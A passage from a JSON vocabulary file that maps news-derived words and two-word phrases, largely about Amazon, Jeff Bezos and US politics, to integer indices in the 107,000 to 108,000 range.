\"caution\": 107188,\n  \"globe holding\": 107189,\n  \"sandeep lamichhane\": 107190,\n  \"comprehensive workers\": 107191,\n  \"secret nadia\": 107192,\n  \"summit meeting\": 107193,\n  \"russian friends\": 107194,\n  \"searching\": 107195,\n  \"auction based\": 107196,\n  \"brexit\": 107197,\n  \"ferrechio\": 107198,\n  \"john kerry\": 107199,\n  \"t4 e4\": 107200,\n  \"ludovic\": 107201,\n  \"current inability\": 107202,\n  \"complete educational\": 107203,\n  \"shareholder resolutions\": 107204,\n  \"honda odyssey\": 107205,\n  \"newton managing\": 107206,\n  \"suggested cancelling\": 107207,\n  \"influencing public\": 107208,\n  \"recommends modernizing\": 107209,\n  \"zume\": 107210,\n  \"big budgeted\": 107211,\n  \"years previewing\": 107212,\n  \"creeping higher\": 107213,\n  \"news bad\": 107214,\n  \"services\": 107215,\n  \"conduct proper\": 107216,\n  \"woodward work\": 107217,\n  \"little star\": 107218,\n  \"created contrarian\": 107219,\n  \"cdc flu\": 107220,\n  \"exceedingly rare\": 107221,\n  \"mobile commerce\": 107222,\n  \"angel\": 107223,\n  \"2018 jeff\": 107224,\n  \"detailed discussion\": 107225,\n  \"company expansionary\": 107226,\n  \"exciting insight\": 107227,\n  \"refresher\": 107228,\n  \"cah bluemountain\": 107229,\n  \"minister andrej\": 107230,\n  \"world quick\": 107231,\n  \"nieves\": 107232,\n  \"trade barbs\": 107233,\n  \"providing new\": 107234,\n  \"price caps\": 107235,\n  \"customs laws\": 107236,\n  \"skyscrapers\": 107237,\n  \"help zte\": 107238,\n  \"particular despite\": 107239,\n  \"terraclear\": 107240,\n  \"franklin graham\": 107241,\n  \"makes coolers\": 107242,\n  \"foibles\": 107243,\n  \"year 2020\": 107244,\n  \"potential future\": 107245,\n  \"theprosecutors did\": 107246,\n  \"wildenstein18\": 107247,\n  \"service presents\": 107248,\n  \"amazon 2260\": 107249,\n  \"beach investment\": 107250,\n  \"instagram deal\": 107251,\n  \"shopper distrust\": 107252,\n  \"pano\": 107253,\n  \"journalists coming\": 107254,\n  \"seen small\": 107255,\n  \"expected earlier\": 107256,\n  \"viewer driving\": 107257,\n  \"passed gates\": 107258,\n  \"second screen\": 107259,\n  \"concluded mckenzie\": 107260,\n  \"involving\": 107261,\n  \"patent provides\": 107262,\n  \"huge new\": 107263,\n  \"specifically voted\": 107264,\n  \"secret pro\": 107265,\n  \"human agenda\": 107266,\n  \"hours overtime\": 107267,\n  \"international startup\": 107268,\n  \"remedies\": 107269,\n  \"redistributed\": 107270,\n  \"expect amazon\": 107271,\n  \"gandel\": 107272,\n  \"broumand scosche\": 107273,\n  \"anker\": 107274,\n  \"carmel indiana\": 107275,\n  \"krieger libertyblitz\": 107276,\n  \"automated machine\": 107277,\n  \"bezos 137\": 107278,\n  \"deuce hotstar\": 107279,\n  \"trumpzilla\": 107280,\n  \"government data\": 107281,\n  \"worse bezos\": 107282,\n  \"amazon steve\": 107283,\n  \"forward ev\": 107284,\n  \"dominate\": 107285,\n  \"ba function\": 107286,\n  \"success descriptionplaintext\": 107287,\n  \"stories include\": 107288,\n  \"2018 partner\": 107289,\n  \"auto\": 107290,\n  \"profitable usps\": 107291,\n  \"nitrobouncer\": 107292,\n  \"illicit goods\": 107293,\n  \"sent 330\": 107294,\n  \"large presence\": 107295,\n  \"silk fox\": 107296,\n  \"health reasons\": 107297,\n  \"establishing bigger\": 107298,\n  \"magazine announced\": 107299,\n  \"peteralexander\": 107300,\n  \"nearly higher\": 107301,\n  \"yesterday talks\": 107302,\n  \"prime example\": 107303,\n  \"pilot program\": 107304,\n  \"feud post\": 107305,\n  \"thumbimageelem undefined\": 107306,\n  \"bothered\": 107307,\n  \"roughly 329\": 107308,\n  \"bolsonaro f\\u00e1bio\": 107309,\n  \"forgave\": 107310,\n  \"press amazon\": 107311,\n  \"play bezos\": 107312,\n  \"month potential\": 107313,\n  \"trump celebration\": 107314,\n  \"juicy details\": 107315,\n  \"transport\": 107316,\n  \"presidential contender\": 107317,\n  \"investment management\": 107318,\n  \"declared cease\": 107319,\n  \"devin leonard\": 107320,\n  \"purloined photos\": 107321,\n  \"administration fo\": 107322,\n  \"residents arrested\": 107323,\n  \"rich divorce\": 107324,\n  \"politics weekly\": 107325,\n  \"ahead look\": 107326,\n  \"donovan\": 107327,\n  \"div div\": 107328,\n  \"blackrock ceo\": 107329,\n  \"lending standards\": 107330,\n  \"wide gap\": 107331,\n  \"immelt model\": 107332,\n  \"anthony chukumba\": 107333,\n  \"favored amazon\": 107334,\n  \"workers wage\": 107335,\n  \"multicarrier shipping\": 107336,\n  \"million tax\": 107337,\n  \"andrew shepherd\": 107338,\n  \"vote pew\": 107339,\n  \"kills newlyweds\": 107340,\n  \"called hate\": 107341,\n  \"digital display\": 107342,\n  \"years 129\": 107343,\n  \"nasdaq incy\": 107344,\n  \"work india\": 107345,\n  \"bashed bezos\": 107346,\n  \"young users\": 107347,\n  \"protected barack\": 107348,\n  \"created monopolies\": 107349,\n  \"greedy\": 107350,\n  \"european plane\": 107351,\n  \"sensitive young\": 107352,\n  \"love notes\": 107353,\n  \"tick\": 107354,\n  \"years meet\": 107355,\n  \"living dream\": 107356,\n  \"analysts quickly\": 107357,\n  \"looks prosperous\": 107358,\n  \"point ken\": 107359,\n  \"gupta send\": 107360,\n  \"essayism\": 107361,\n  \"bunker\": 107362,\n  \"rainforest access\": 107363,\n  \"insulted jeff\": 107364,\n  \"oversight falls\": 107365,\n  \"prussia\": 107366,\n  \"message walmart\": 107367,\n  \"turn intellectual\": 107368,\n  \"averts partial\": 107369,\n  \"extraordinarily unattractive\": 107370,\n  \"beaucoup\": 107371,\n  \"chairman furtherance\": 107372,\n  \"shares users\": 107373,\n  \"fairly solid\": 107374,\n  \"2019 cannes\": 107375,\n  \"story post\": 107376,\n  \"recently ordered\": 107377,\n  \"providers selling\": 107378,\n  \"times saying\": 107379,\n  \"bland\": 107380,\n  \"market share\": 107381,\n  \"global company\": 107382,\n  \"phrase roll\": 107383,\n  \"benefit scheme\": 107384,\n  \"areas commerce\": 107385,\n  \"election seeking\": 107386,\n  \"meet did\": 107387,\n  \"software venture\": 107388,\n  \"letter revealing\": 107389,\n  \"sweeping movement\": 107390,\n  \"jam packed\": 107391,\n  \"plateau think\": 107392,\n  \"second annual\": 107393,\n  \"insider buys\": 107394,\n  \"proceed\": 107395,\n  \"aclu reported\": 107396,\n  \"bloomberg event\": 107397,\n  \"salke\": 107398,\n  \"kennedy director\": 107399,\n  \"uso\": 107400,\n  \"positions photo\": 107401,\n  \"related washington\": 107402,\n  \"lexington mayor\": 107403,\n  \"microbe\": 107404,\n  \"expand influence\": 107405,\n  \"surveillance companies\": 107406,\n  \"anthropomorphic devices\": 107407,\n  \"service expenditure\": 107408,\n  \"presented false\": 107409,\n  \"seattle public\": 107410,\n  \"lakeview\": 107411,\n  \"politics rand\": 107412,\n  \"governor ducey\": 107413,\n  \"wisdom tree\": 107414,\n  \"worry michael\": 107415,\n  \"right wing\": 107416,\n  \"commerce 2018\": 107417,\n  \"public private\": 107418,\n  \"spy novel\": 107419,\n  \"man caption\": 107420,\n  \"yao long\": 107421,\n  \"cjr daily\": 107422,\n  \"grint\": 107423,\n  \"ctl p2\": 107424,\n  \"night television\": 107425,\n  \"entertainment weekly\": 107426,\n  \"incorrect\": 107427,\n  \"department spokesperson\": 107428,\n  \"analysts warn\": 107429,\n  \"combating cybersecurity\": 107430,\n  \"spend reports\": 107431,\n  \"smoke hrrr\": 107432,\n  \"221\": 107433,\n  \"2017 fierce\": 107434,\n  \"corp\": 107435,\n  \"adinfo c_type\": 107436,\n  \"adult success\": 107437,\n  \"law applaud\": 107438,\n  \"sponsorship simple\": 107439,\n  \"jinping amazon\": 107440,\n  \"information axios\": 107441,\n  \"json u2x\": 107442,\n  \"senate candidate\": 107443,\n  \"sims satire\": 107444,\n  \"822 190\": 107445,\n  \"upskilling\": 107446,\n  \"period don\": 107447,\n  \"workers wages\": 107448,\n  \"incites violence\": 107449,\n  \"best kept\": 107450,\n  \"matt flegenheimer\": 107451,\n  \"logolink null\": 107452,\n  \"jamaica\": 107453,\n  \"drawl\": 107454,\n  \"jeff net\": 107455,\n  \"aghast\": 107456,\n  \"wronged workers\": 107457,\n  \"significant private\": 107458,\n  \"stay poor\": 107459,\n  \"mijente campaign\": 107460,\n  \"tiny microchip\": 107461,\n  \"senate approved\": 107462,\n  \"recovers\": 107463,\n  \"usual returns\": 107464,\n  \"low according\": 107465,\n  \"brexit proposal\": 107466,\n  \"healthy societal\": 107467,\n  \"large fine\": 107468,\n  \"semi truck\": 107469,\n  \"say documents\": 107470,\n  \"told far\": 107471,\n  \"waterways\": 107472,\n  \"transportation thanks\": 107473,\n  \"newspapers need\": 107474,\n  \"essay bezos\": 107475,\n  \"cnet holiday\": 107476,\n  \"credit karma\": 107477,\n  \"vineyards\": 107478,\n  \"stricter emissions\": 107479,\n  \"corporate location\": 107480,\n  \"called tim\": 107481,\n  \"groped\": 107482,\n  \"amazon sore\": 107483,\n  \"viacristiano\": 107484,\n  \"helsinki summit\": 107485,\n  \"space company\": 107486,\n  \"detain immigrants\": 107487,\n  \"uplifting animal\": 107488,\n  \"circus\": 107489,\n  \"bezos helping\": 107490,\n  \"event using\": 107491,\n  \"conservative news\": 107492,\n  \"critical parts\": 107493,\n  \"sortation centers\": 107494,\n  \"rx bloomberg\": 107495,\n  \"regulation commission\": 107496,\n  \"american murder\": 107497,\n  \"afford greenpeace\": 107498,\n  \"transformational multibillion\": 107499,\n  \"ross good\": 107500,\n  \"criticizes\": 107501,\n  \"brazil canada\": 107502,\n  \"generations\": 107503,\n  \"wicked\": 107504,\n  \"monopolistic overcharges\": 107505,\n  \"fareed\": 107506,\n  \"extreme recklessness\": 107507,\n  \"feral\": 107508,\n  \"hawley\": 107509,\n  \"progressive wing\": 107510,\n  \"workers absolutely\": 107511,\n  \"cra examinations\": 107512,\n  \"inc_newsworthyflag true\": 107513,\n  \"conflict starting\": 107514,\n  \"texas chats\": 107515,\n  \"1530798028 sr\": 107516,\n  \"included making\": 107517,\n  \"filtration\": 107518,\n  \"tiktok app\": 107519,\n  \"influence bezos\": 107520,\n  \"called kauffman\": 107521,\n  \"747 jumbo\": 107522,\n  \"usa situation\": 107523,\n  \"summit meetings\": 107524,\n  \"viral prom\": 107525,\n  \"massive dangerous\": 107526,\n  \"jj goode\": 107527,\n  \"man ra\": 107528,\n  \"software vendor\": 107529,\n  \"guyana suriname\": 107530,\n  \"dc da\": 107531,\n  \"president richard\": 107532,\n  \"office investigators\": 107533,\n  \"foot\": 107534,\n  \"warming world\": 107535,\n  \"providers\": 107536,\n  \"profitable business\": 107537,\n  \"q4 versus\": 107538,\n  \"rey recode\": 107539,\n  \"afghanistan\": 107540,\n  \"deferments\": 107541,\n  \"current environment\": 107542,\n  \"present tariffs\": 107543,\n  \"eyes cloud\": 107544,\n  \"toya\": 107545,\n  \"bolsonaro leadership\": 107546,\n  \"nixon\": 107547,\n  \"gawande influential\": 107548,\n  \"competing working\": 107549,\n  \"broadened flat\": 107550,\n  \"dont buy\": 107551,\n  \"videos posted\": 107552,\n  \"relations executive\": 107553,\n  \"tuckercarlson cnn\": 107554,\n  \"expensive business\": 107555,\n  \"media content\": 107556,\n  \"personal integrity\": 107557,\n  \"iii investigation\": 107558,\n  \"drug trade\": 107559,\n  \"tarred\": 107560,\n  \"soundview\": 107561,\n  \"offer visit\": 107562,\n  \"editor make\": 107563,\n  \"shotgun inside\": 107564,\n  \"shares added\": 107565,\n  \"dovey messages\": 107566,\n  \"companies began\": 107567,\n  \"years follow\": 107568,\n  \"larry bennett\": 107569,\n  \"benefits politicians\": 107570,\n  \"maezawa\": 107571,\n  \"trump attorney\": 107572,\n  \"stricter\": 107573,\n  \"2018 limit\": 107574,\n  \"yield dividend\": 107575,\n  \"lidiane jones\": 107576,\n  \"exposed google\": 107577,\n  \"allwood eagle\": 107578,\n  \"earlier material\": 107579,\n  \"different reasons\": 107580,\n  \"unproven methods\": 107581,\n  \"today things\": 107582,\n  \"passes nasty\": 107583,\n  \"oushe\": 107584,\n  \"control impacts\": 107585,\n  \"797 billion\": 107586,\n  \"election related\": 107587,\n  \"retail shakeouts\": 107588,\n  \"foundation trust\": 107589,\n  \"authorized treatment\": 107590,\n  \"restore ge\": 107591,\n  \"greatness\": 107592,\n  \"lawsuit severe\": 107593,\n  \"photoessayslidemodels null\": 107594,\n  \"vote away\": 107595,\n  \"contractor baltimore\": 107596,\n  \"mesh wi\": 107597,\n  \"crony way\": 107598,\n  \"taxed 300\": 107599,\n  \"online bezos\": 107600,\n  \"nyc plan\": 107601,\n  \"britain eu\": 107602,\n  \"books squarely\": 107603,\n  \"doctors response\": 107604,\n  \"pilgrimage\": 107605,\n  \"best terms\": 107606,\n  \"founder remains\": 107607,\n  \"particularly timely\": 107608,\n  \"inspired antitrust\": 107609,\n  \"bait\": 107610,\n  \"5bf3k1f05s jay\": 107611,\n  \"political muscle\": 107612,\n  \"musk founder\": 107613,\n  \"considered action\": 107614,\n  \"goods stores\": 107615,\n  \"announced late\": 107616,\n  \"similar baby\": 107617,\n  \"outlines plan\": 107618,\n  \"interagency task\": 107619,\n  \"buy stuff\": 107620,\n  \"caller think\": 107621,\n  \"younger based\": 107622,\n  \"avril lavigne\": 107623,\n  \"renews calls\": 107624,\n  \"0943et\": 107625,\n  \"vaguest\": 107626,\n  \"prompt delivery\": 107627,\n  \"alerted\": 107628,\n  \"ecosystem\": 107629,\n  \"center hub\": 107630,\n  \"hush hush\": 107631,\n  \"analyst 2018\": 107632,\n  \"redesign\": 107633,\n  \"cia belief\": 107634,\n  \"believes sitting\": 107635,\n  \"woes soon\": 107636,\n  \"derail potentially\": 107637,\n  \"place called\": 107638,\n  \"year requesting\": 107639,\n  \"eu hammer\": 107640,\n  \"bee fights\": 107641,\n  \"fake phony\": 107642,\n  \"evolved\": 107643,\n  \"release figure\": 107644,\n  \"breakup including\": 107645,\n  \"contains power\": 107646,\n  \"dial phone\": 107647,\n  \"promised number\": 107648,\n  \"highly lucrative\": 107649,\n  \"dollar reason\": 107650,\n  \"specialist wands\": 107651,\n  \"having mastered\": 107652,\n  \"old slogan\": 107653,\n  \"thrilled says\": 107654,\n  \"going strong\": 107655,\n  \"world politics\": 107656,\n  \"coveted grails\": 107657,\n  \"zinke outrage\": 107658,\n  \"circle investors\": 107659,\n  \"associate producer\": 107660,\n  \"policy positions\": 107661,\n  \"deal watch\": 107662,\n  \"posed making\": 107663,\n  \"business according\": 107664,\n  \"businessweek journalist\": 107665,\n  \"shamrocks\": 107666,\n  \"sanchez soon\": 107667,\n  \"republican josh\": 107668,\n  \"bezos investigating\": 107669,\n  \"statement distributed\": 107670,\n  \"jens\": 107671,\n  \"provided small\": 107672,\n  \"pepsico ceo\": 107673,\n  \"spatt finance\": 107674,\n  \"sanders named\": 107675,\n  \"photo susan\": 107676,\n  \"bezos yeah\": 107677,\n  \"payments company\": 107678,\n  \"national business\": 107679,\n  \"help deal\": 107680,\n  \"bag just\": 107681,\n  \"korea summit\": 107682,\n  \"day hickman\": 107683,\n  \"medical alert\": 107684,\n  \"charging\": 107685,\n  \"reproductive health\": 107686,\n  \"deplore\": 107687,\n  \"countless subpoenas\": 107688,\n  \"euro trump\": 107689,\n  \"bezos medium\": 107690,\n  \"murder cases\": 107691,\n  \"days protesters\": 107692,\n  \"erroneous arrest\": 107693,\n  \"angry city\": 107694,\n  \"smaller footprint\": 107695,\n  \"raise cattle\": 107696,\n  \"alternative countries\": 107697,\n  \"mics\": 107698,\n  \"attempt prefer\": 107699,\n  \"dixie roots\": 107700,\n  \"dorsey today\": 107701,\n  \"fortunate time\": 107702,\n  \"incentives used\": 107703,\n  \"billionaire pettiness\": 107704,\n  \"jedi proposal\": 107705,\n  \"detroit area\": 107706,\n  \"gop core\": 107707,\n  \"foolproof numerous\": 107708,\n  \"whatsapp today\": 107709,\n  \"political leader\": 107710,\n  \"society collaborates\": 107711,\n  \"wildfire\": 107712,\n  \"long selection\": 107713,\n  \"insane\": 107714,\n  \"liaison officers\": 107715,\n  \"trump caused\": 107716,\n  \"gravitating\": 107717,\n  \"money payments\": 107718,\n  \"discretionary sector\": 107719,\n  \"claustrophobic\": 107720,\n  \"loathes\": 107721,\n  \"life uncategorized\": 107722,\n  \"minus sign\": 107723,\n  \"lucy\": 107724,\n  \"comment norah\": 107725,\n  \"expanding margins\": 107726,\n  \"mobile citizens\": 107727,\n  \"veteran wall\": 107728,\n  \"market monster\": 107729,\n  \"christina tosi\": 107730,\n  \"bezos champion\": 107731,\n  \"totally biased\": 107732,\n  \"vote yes\": 107733,\n  \"tours brazil\": 107734,\n  \"warren desire\": 107735,\n  \"pecker reportedly\": 107736,\n  \"organization adds\": 107737,\n  \"reserve threatened\": 107738,\n  \"sebastian stated\": 107739,\n  \"split bunch\": 107740,\n  \"cal\": 107741,\n  \"dailyshot 2018\": 107742,\n  \"suspected counterfeit\": 107743,\n  \"congressman alexandria\": 107744,\n  \"claimed bezos\": 107745,\n  \"says bavel\": 107746,\n  \"super pacs\": 107747,\n  \"publicly steps\": 107748,\n  \"concerns anthony\": 107749,\n  \"mafia\": 107750,\n  \"trends trump\": 107751,\n  \"senate panel\": 107752,\n  \"officers saying\": 107753,\n  \"married maples\": 107754,\n  \"multiple redundancies\": 107755,\n  \"bronx democrat\": 107756,\n  \"lives florence\": 107757,\n  \"insur\": 107758,\n  \"profits reached\": 107759,\n  \"waterproof\": 107760,\n  \"bolsonaro introduced\": 107761,\n  \"antitrust regulator\": 107762,\n  \"va suburb\": 107763,\n  \"administration energy\": 107764,\n  \"trustee holds\": 107765,\n  \"site anonymous\": 107766,\n  \"edge needs\": 107767,\n  \"receiving 3bn\": 107768,\n  \"unpaid taxes\": 107769,\n  \"house sources\": 107770,\n  \"deliver lengthy\": 107771,\n  \"facilitate automatic\": 107772,\n  \"1982 high\": 107773,\n  \"firecracker uses\": 107774,\n  \"lucrative technology\": 107775,\n  \"area considerable\": 107776,\n  \"workforce\": 107777,\n  \"soccer stunt\": 107778,\n  \"storm knocked\": 107779,\n  \"summit historical\": 107780,\n  \"cat fights\": 107781,\n  \"unlimited financial\": 107782,\n  \"denim jacket\": 107783,\n  \"work quick\": 107784,\n  \"really stinks\": 107785,\n  \"unanimity\": 107786,\n  \"manager trust\": 107787,\n  \"major clue\": 107788,\n  \"voter thought\": 107789,\n  \"sacks reviewed\": 107790,\n  \"prognosticators\": 107791,\n  \"quite right\": 107792,\n  \"washington geekwire\": 107793,\n  \"wire cnl_filelocation\": 107794,\n  \"mediabuzz\": 107795,\n  \"introduce shelf\": 107796,\n  \"soliciting prostitution\": 107797,\n  \"deforestation energy\": 107798,\n  \"sheet obtained\": 107799,\n  \"marketers\": 107800,\n  \"followed soon\": 107801,\n  \"amortization\": 107802,\n  \"magazine click\": 107803,\n  \"vip tours\": 107804,\n  \"kavanaugh minutes\": 107805,\n  \"day1 hinting\": 107806,\n  \"jann arden\": 107807,\n  \"crudely\": 107808,\n  \"300 retail\": 107809,\n  \"notes shira\": 107810,\n  \"old juggernaut\": 107811,\n  \"rude\": 107812,\n  \"expectations sending\": 107813,\n  \"facebook company\": 107814,\n  \"trouble ted\": 107815,\n  \"advisor mira\": 107816,\n  \"kansas city\": 107817,\n  \"allegedly launched\": 107818,\n  \"409 different\": 107819,\n  \"amazon kicked\": 107820,\n  \"successfully employed\": 107821,\n  \"devastation\": 107822,\n  \"gradually helping\": 107823,\n  \"aswath\": 107824,\n  \"humphrey amzn\": 107825,\n  \"billionaire capitalist\": 107826,\n  \"flooding comment\": 107827,\n  \"prodding amazon\": 107828,\n  \"rick perry\": 107829,\n  \"female dominated\": 107830,\n  \"amazon refused\": 107831,\n  \"byline kate\": 107832,\n  \"sails\": 107833,\n  \"mal\": 107834,\n  \"awayne3 bloomberg\": 107835,\n  \"drug war\": 107836,\n  \"education transportation\": 107837,\n  \"coveted acquisition\": 107838,\n  \"build towers\": 107839,\n  \"profitable using\": 107840,\n  \"critical numbers\": 107841,\n  \"suprising\": 107842,\n  \"continually teasing\": 107843,\n  \"sanchez suspecting\": 107844,\n  \"craft regulatory\": 107845,\n  \"obama launching\": 107846,\n  \"later andthat\": 107847,\n  \"guggenheim\": 107848,\n  \"bezos case\": 107849,\n  \"craig claiborne\": 107850,\n  \"audacity emma\": 107851,\n  \"wasted boy\": 107852,\n  \"steer private\": 107853,\n  \"earnings floor\": 107854,\n  \"buzzfeed alum\": 107855,\n  \"staff reince\": 107856,\n  \"bramer specifically\": 107857,\n  \"zipper\": 107858,\n  \"including microsoft\": 107859,\n  \"mln\": 107860,\n  \"sales ft\": 107861,\n  \"rightnow\": 107862,\n  \"major business\": 107863,\n  \"policymaking body\": 107864,\n  \"public letter\": 107865,\n  \"guest\": 107866,\n  \"winning film\": 107867,\n  \"aviation assets\": 107868,\n  \"warplanes capturing\": 107869,\n  \"roundtable hosted\": 107870,\n  \"federal approval\": 107871,\n  \"tariff uncertainty\": 107872,\n  \"regarding selling\": 107873,\n  \"contractors association\": 107874,\n  \"729 shares\": 107875,\n  \"2016 kidman\": 107876,\n  \"ban advertising\": 107877,\n  \"412\": 107878,\n  \"costs grow\": 107879,\n  \"ordered administration\": 107880,\n  \"crusaded\": 107881,\n  \"employees seattle\": 107882,\n  \"sent multiple\": 107883,\n  \"coded\": 107884,\n  \"hat velvet\": 107885,\n  \"major jump\": 107886,\n  \"happily lifted\": 107887,\n  \"prince harry\": 107888,\n  \"bezos stopped\": 107889,\n  \"overcome sound\": 107890,\n  \"chin hui\": 107891,\n  \"928 2000\": 107892,\n  \"books forever\": 107893,\n  \"jon effective\": 107894,\n  \"proper balance\": 107895,\n  \"barely higher\": 107896,\n  \"sellers 3p\": 107897,\n  \"new direction\": 107898,\n  \"push competition\": 107899,\n  \"strengthen delivery\": 107900,\n  \"scrutinize amazon\": 107901,\n  \"opportunities investors\": 107902,\n  \"compounded\": 107903,\n  \"wikipedia\": 107904,\n  \"drama based\": 107905,\n  \"radioactive\": 107906,\n  \"deputy shot\": 107907,\n  \"time shooting\": 107908,\n  \"housing trends\": 107909,\n  \"jobs share\": 107910,\n  \"longer history\": 107911,\n  \"called right\": 107912,\n  \"press schiff\": 107913,\n  \"huge project\": 107914,\n  \"debut thriller\": 107915,\n  \"departments army\": 107916,\n  \"department approved\": 107917,\n  \"amazon canceled\": 107918,\n  \"special royal\": 107919,\n  \"sajni\": 107920,\n  \"memoir\": 107921,\n  \"upscale department\": 107922,\n  \"tdy1rrxyabos6nze\": 107923,\n  \"products available\": 107924,\n  \"russia did\": 107925,\n  \"exactly worker\": 107926,\n  \"hospitals conducted\": 107927,\n  \"important industrial\": 107928,\n  \"associate director\": 107929,\n  \"biggest potential\": 107930,\n  \"comparative advantage\": 107931,\n  \"dominance online\": 107932,\n  \"press quoted\": 107933,\n  \"carl levin\": 107934,\n  \"night considering\": 107935,\n  \"martina kitchen\": 107936,\n  \"fall 2017\": 107937,\n  \"shepardson\": 107938,\n  \"world rightnow\": 107939,\n  \"speaking fee\": 107940,\n  \"collapse data\": 107941,\n  \"suspends apps\": 107942,\n  \"weekly column\": 107943,\n  \"capital group\": 107944,\n  \"street lights\": 107945,\n  \"knows quite\": 107946,\n  \"parents mike\": 107947,\n  \"clarified\": 107948,\n  \"taxes trade\": 107949,\n  \"billion plus\": 107950,\n  \"expensing\": 107951,\n  \"robust demand\": 107952,\n  \"4th pick\": 107953,\n  \"trade official\": 107954,\n  \"contract oracle\": 107955,\n  \"cohngary\": 107956,\n  \"secular leader\": 107957,\n  \"valley weekday\": 107958,\n  \"angry vocal\": 107959,\n  \"amazon kushner\": 107960,\n  \"warn\": 107961,\n  \"historical voting\": 107962,\n  \"malign\": 107963,\n  \"sellers 300\": 107964,\n  \"reportedly stalled\": 107965,\n  \"computer clicking\": 107966,\n  \"names report\": 107967,\n  \"india new\": 107968,\n  \"theorist robert\": 107969,\n  \"day howard\": 107970,\n  \"following news\": 107971,\n  \"blyons timesunion\": 107972,\n  \"false detections\": 107973,\n  \"melodrama involving\": 107974,\n  \"political fray\": 107975,\n  \"senator brother\": 107976,\n  \"remembered grammys\": 107977,\n  \"companies sent\": 107978,\n  \"handling partners\": 107979,\n  \"lols\": 107980,\n  \"upper 40s\": 107981,\n  \"signature blonde\": 107982,\n  \"people nationally\": 107983,\n  \"contradictory comments\": 107984,\n  \"human reality\": 107985,\n  \"ice acts\": 107986,\n  \"government department\": 107987,\n  \"privacy issues\": 107988,\n  \"uber appear\": 107989,\n  \"aws benefits\": 107990,\n  \"big vote\": 107991,\n  \"presence represents\": 107992,\n  \"uber singular\": 107993,\n  \"prices suggests\": 107994,\n  \"entire cohort\": 107995,\n  \"necessarily translate\": 107996,\n  \"management llc\": 107997,\n  \"wonka golden\": 107998,\n  \"department contracting\": 107999,\n  \"ctsh ceo\": 108000,\n  \"budged\": 108001,\n  \"typically takes\": 108002,\n  \"napoleon\": 108003,\n  \"housing project\": 108004,\n  \"communications npr\": 108005,\n  \"apple forked\": 108006,\n  \"reasons sanders\": 108007,\n  \"maria teresa\": 108008,\n  \"based united\": 108009,\n  \"programs job\": 108010,\n  \"letter national\": 108011,\n  \"staff regarding\": 108012,\n  \"help copyright\": 108013,\n  \"britain talks\": 108014,\n  \"attempted monopolisation\": 108015,\n  \"illegal mining\": 108016,\n  \"ministry officials\": 108017,\n  \"tweets aloud\": 108018,\n  \"near monopoly\": 108019,\n  \"time employee\": 108020,\n  \"rochfort\": 108021,\n  \"huang\": 108022,\n  \"schwarzenegger serves\": 108023,\n  \"currently flowing\": 108024,\n  \"enormous company\": 108025,\n  \"obama\": 108026,\n  \"writer producer\": 108027,\n  \"increased readership\": 108028,\n  \"home jpg\": 108029,\n  \"peace officers\": 108030,\n  \"rules transit\": 108031,\n  \"lore understands\": 108032,\n  \"betty buckley\": 108033,\n  \"produce original\": 108034,\n  \"warns mike\": 108035,\n  \"romantic backstory\": 108036,\n  \"miami helps\": 108037,\n  \"lost sales\": 108038,\n  \"intelligence service\": 108039,\n  \"level employees\": 108040,\n  \"cbs exec\": 108041,\n  \"increasingly furious\": 108042,\n  \"query impeach\": 108043,\n  \"media linked\": 108044,\n  \"luminaid company\": 108045,\n  \"service secretive\": 108046,\n  \"ritual\": 108047,\n  \"reuters year\": 108048,\n  \"barr curt\": 108049,\n  \"david hogg\": 108050,\n  \"country character\": 108051,\n  \"romulus amazon\": 108052,\n  \"sean hannity\": 108053,\n  \"experienced torture\": 108054,\n  \"provide material\": 108055,\n  \"productive treasury\": 108056,\n  \"quite padded\": 108057,\n  \"appear quickly\": 108058,\n  \"story hsbc\": 108059,\n  \"ubiquitous subject\": 108060,\n  \"say tweeting\": 108061,\n  \"damaged protections\": 108062,\n  \"city told\": 108063,\n  \"fiction best\": 108064,\n  \"foundation million\": 108065,\n  \"trump runaway\": 108066,\n  \"fanfare shortly\": 108067,\n  \"offer says\": 108068,\n  \"create icky\": 108069,\n  \"prime indispensable\": 108070,\n  \"galsgaard\": 108071,\n  \"old playbook\": 108072,\n  \"claimed negotiations\": 108073,\n  \"classification issues\": 108074,\n  \"balancing insight\": 108075,\n  \"provides safety\": 108076,\n  \"warehouse trash\": 108077,\n  \"59bn\": 108078,\n  \"news sinclair\": 108079,\n  \"dismissed\": 108080,\n  \"player unequipped\": 108081,\n  \"virginia restaurant\": 108082,\n  \"development transaction\": 108083,\n  \"willvote\": 108084,\n  \"cibc executive\": 108085,\n  \"alcohol\": 108086,\n  \"officials testify\": 108087,\n  \"busty\": 108088,\n  \"sources regularly\": 108089,\n  \"listed companies\": 108090,\n  \"pardon love\": 108091,\n  \"order houses\": 108092,\n  \"shopping does\": 108093,\n  \"headlamp willing\": 108094,\n  \"colbert vinnie\": 108095,\n  \"2019 relive\": 108096,\n  \"man bluster\": 108097,\n  \"area house\": 108098,\n  \"trump complains\": 108099,\n  \"w9x arguments\": 108100,\n  \"relationship old\": 108101,\n  \"alibaba content\": 108102,\n  \"products making\": 108103,\n  \"leadup\": 108104,\n  \"office including\": 108105,\n  \"michael cohen\": 108106,\n  \"centers inaccurate\": 108107,\n  \"quarter 2019\": 108108,\n  \"amazon jefferies\": 108109,\n  \"255\": 108110,\n  \"reactid 145\": 108111,\n  \"prison given\": 108112,\n  \"3p buy\": 108113,\n  \"revenue arrangements\": 108114,\n  \"reap profits\": 108115,\n  \"baby monitors\": 108116,\n  \"esquire turn\": 108117,\n  \"network ousted\": 108118,\n  \"glenn zaccara\": 108119,\n  \"garrard\": 108120,\n  \"world creative\": 108121,\n  \"bombastic bluster\": 108122,\n  \"financial transactions\": 108123,\n  \"health technology\": 108124,\n  \"eevvf news\": 108125,\n  \"lavrentiy beria\": 108126,\n  \"rights including\": 108127,\n  \"4bkk4jff1g southpaw\": 108128,\n  \"timberg\": 108129,\n  \"email concluded\": 108130,\n  \"showtime family\": 108131,\n  \"44871788 dudes\": 108132,\n  \"discriminate instead\": 108133,\n  \"chayes politics\": 108134,\n  \"place strategies\": 108135,\n  \"just roll\": 108136,\n  \"bailingon\": 108137,\n  \"strip located\": 108138,\n  \"twilight zone\": 108139,\n  \"skulls\": 108140,\n  \"drawn inspiration\": 108141,\n  \"rights notechforice\": 108142,\n  \"care assistance\": 108143,\n  \"single blaze\": 108144,\n  \"remote silver\": 108145,\n  \"tani\": 108146,\n  \"paint power\": 108147,\n  \"corona\": 108148,\n  \"woodard\": 108149,\n  \"comprehending\": 108150,\n  \"hurt american\": 108151,\n  \"orianna webb\": 108152,\n  \"including senate\": 108153,\n  \"violations based\": 108154,\n  \"strict regulations\": 108155,\n  \"teen shot\": 108156,\n  \"office definitely\": 108157,\n  \"theywanted\": 